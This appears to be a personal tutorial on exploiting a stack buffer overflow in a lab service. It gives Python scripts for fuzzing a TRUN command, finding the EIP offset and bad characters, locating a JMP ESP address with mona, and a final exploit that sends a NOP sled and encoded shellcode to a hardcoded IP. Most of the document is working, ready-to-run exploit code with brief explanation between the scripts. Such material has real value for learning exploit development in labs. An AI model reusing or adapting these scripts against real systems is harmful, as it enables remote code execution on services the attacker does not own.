BufferOverflow

FUZZING
#!/usr/bin/python
import sys, socket
from time import sleep

buffer = "A" * 100

while True:
try:
	s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
	s.connect(('192.168.1.2',9999))
	
	s.send('TRUN /.:/' + buffer)
	s.close()
	sleep(1)
	buffer += "A" * 100
except:
	print "Fuzzing crashed at %s bytes" % str(len(buffer))
sys.exit()

===============================
CREATE/FIND A PATTERN
Use Metasploit to create a pattern:
	msf-pattern_create -l <length>

Use the EIP to find the pattern in metasploit:
	msf-pattern_offset -l <length> -q <EIP>
	
That will tell you how many bytes you have to send to overwrite the EIP.
Test it by sending 'AAAA' right after the offset.


#!/usr/bin/env python3
import socket,sys

targetIP = "10.185.10.55"
targetPort = 42424

offset = 146
msg = b"A" * offset
eip = b"BBBB"

s=socket.socket()
s.connect(("10.185.10.55",targetPort))

payload = [
	msg, 
	eip
]
payload = b"".join(payload)

s.send(payload)
s.close()




===============================
FIND BAD CHARACTERS
Append bad characters to your payload and send it:


	#!/usr/bin/env python3
	import socket,sys
	
	targetIP = "10.185.10.55"
	targetPort = 42424
	
	offset = 146
	msg = b"A" * offset
	eip = b"BBBB"
	badchars = (
	b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
	b"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e"
	b"\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d"
	b"\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c"
	b"\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b"
	b"\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a"
	b"\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69"
	b"\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78"
	b"\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87"
	b"\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"
	b"\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5"
	b"\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4"
	b"\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3"
	b"\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2"
	b"\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1"
	b"\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
	b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
	
	s=socket.socket()
	s.connect(("10.185.10.55",targetPort))
	
	payload = [
		msg, 
		eip,
		badchars
	]
	payload = b"".join(payload)
	
	s.send(payload)
	s.close()


Then follow the ESP in the dump, to find the address at which the bad characters array began and use mona to find which ones were the actual bad characters:
	!mona compare -f bytearray.bin -a <address>


===============================
FIND THE A JMP ADDRESS
Detect the address of a CALL/JMP ESP
	!mona jmp -r esp 
	
	or
	
	!mona jmp -r esp -m kernel
	
Take the address of something that has FALSE and is related to our program.
Since it is probably little endian, then you have to write it down in reverse.
From  080414C3 to "\xc3\x14\x04\x08".

That is the address that has to fill the EIP portion.


===============================
PUTTING ALL TOGETHER
The payload that we must send will compose of:
• Msg: 146 A’s.
• Eip:The jump address that we found: \xc3\x14\x04\x08
• Nop_sleds: those are “\x90”. It is required to leave some ‘blank’ space right after the EIP before executing the actual payload we want. I sent 16 of those.
• Buf: this represents the actual payload we require the machine to execute, in this case, we will have it open the calculator. We can google for that exploit and then just copy and paste in the script.
• ReturnChars: this is the equivalent of pressing Enter in our keyboard, this is required to have the exploit work, with that we make the signal to send the payload.


	#!/usr/bin/env python3
	import socket,sys
	
	targetIP = "10.185.10.55"
	#targetIP = "192.168.1.150"
	targetPort = 42424
	
	offset = 146
	msg = b"A" * offset
	eip = b"\xc3\x14\x04\x08" #080414c3 jmpesp address
	nop_sled = b"\x90" * 32
	returnChars = b"\r\n"
	
	buf =  b""
	buf += b"\xbe\x29\x92\x95\xa2\xd9\xe5\xd9\x74\x24\xf4\x5f\x31"
	buf += b"\xc9\xb1\x4e\x31\x77\x13\x83\xef\xfc\x03\x77\x26\x70"
	buf += b"\x60\x5e\xd0\xf6\x8b\x9f\x20\x97\x02\x7a\x11\x97\x71"
	buf += b"\x0e\x01\x27\xf1\x42\xad\xcc\x57\x77\x26\xa0\x7f\x78"
	buf += b"\x8f\x0f\xa6\xb7\x10\x23\x9a\xd6\x92\x3e\xcf\x38\xab"
	buf += b"\xf0\x02\x38\xec\xed\xef\x68\xa5\x7a\x5d\x9d\xc2\x37"
	buf += b"\x5e\x16\x98\xd6\xe6\xcb\x68\xd8\xc7\x5d\xe3\x83\xc7"
	buf += b"\x5c\x20\xb8\x41\x47\x25\x85\x18\xfc\x9d\x71\x9b\xd4"
	buf += b"\xec\x7a\x30\x19\xc1\x88\x48\x5d\xe5\x72\x3f\x97\x16"
	buf += b"\x0e\x38\x6c\x65\xd4\xcd\x77\xcd\x9f\x76\x5c\xec\x4c"
	buf += b"\xe0\x17\xe2\x39\x66\x7f\xe6\xbc\xab\x0b\x12\x34\x4a"
	buf += b"\xdc\x93\x0e\x69\xf8\xf8\xd5\x10\x59\xa4\xb8\x2d\xb9"
	buf += b"\x07\x64\x88\xb1\xa5\x71\xa1\x9b\xa1\xb6\x88\x23\x31"
	buf += b"\xd1\x9b\x50\x03\x7e\x30\xff\x2f\xf7\x9e\xf8\x50\x22"
	buf += b"\x66\x96\xaf\xcd\x97\xbe\x6b\x99\xc7\xa8\x5a\xa2\x83"
	buf += b"\x28\x63\x77\x39\x22\xc2\x28\x5c\xc9\x9e\xc9\xca\x30"
	buf += b"\x36\x20\x05\xea\x26\x4b\xcf\x83\xce\xb6\xf0\xa6\x0b"
	buf += b"\x3e\x16\xd2\x03\x16\x80\x4b\xe1\x4d\x19\xeb\x1a\xa4"
	buf += b"\xe3\x33\x91\x1f\xbb\xdb\xee\x49\x7b\xe3\xef\x5f\x2b"
	buf += b"\x73\x7b\x8c\xef\x62\x7c\x99\x47\xf2\xea\x57\x06\xb1"
	buf += b"\x8b\x68\x03\x23\x4b\xfd\xa8\xe2\x1c\x69\xb3\xd3\x6a"
	buf += b"\x36\x4c\x36\xe9\x31\xb2\xc7\xc0\x4a\x85\x5d\x5a\x25"
	buf += b"\xea\xb1\x5a\xb5\xbc\xdb\x5a\xdd\x18\xb8\x09\xf8\x66"
	buf += b"\x15\x3e\x51\xf3\x96\x16\x05\x54\xff\x94\x70\x92\xa0"
	buf += b"\x67\x57\xa0\xa7\x97\x26\xa0\x56\x54\xff\x68\x2d\xb3"
	buf += b"\xc3\xce\x3e\xf6\x66\x66\xd5\xf8\x35\x78\xfc"
	
	#badchars 00 0a
	print("[+] Connecting")
	s=socket.socket()
	s.connect(("10.185.10.55",targetPort))
	print("[+] Connected")
	
	print("[+] Gathering payload")
	payload = [
		msg, 
		eip,   
		nop_sled,
		buf,
	    returnChars
	]
	payload = b"".join(payload)
	print("[+] Sending payload")
	s.send(payload)
	print("[+] Payload sent")
	s.close()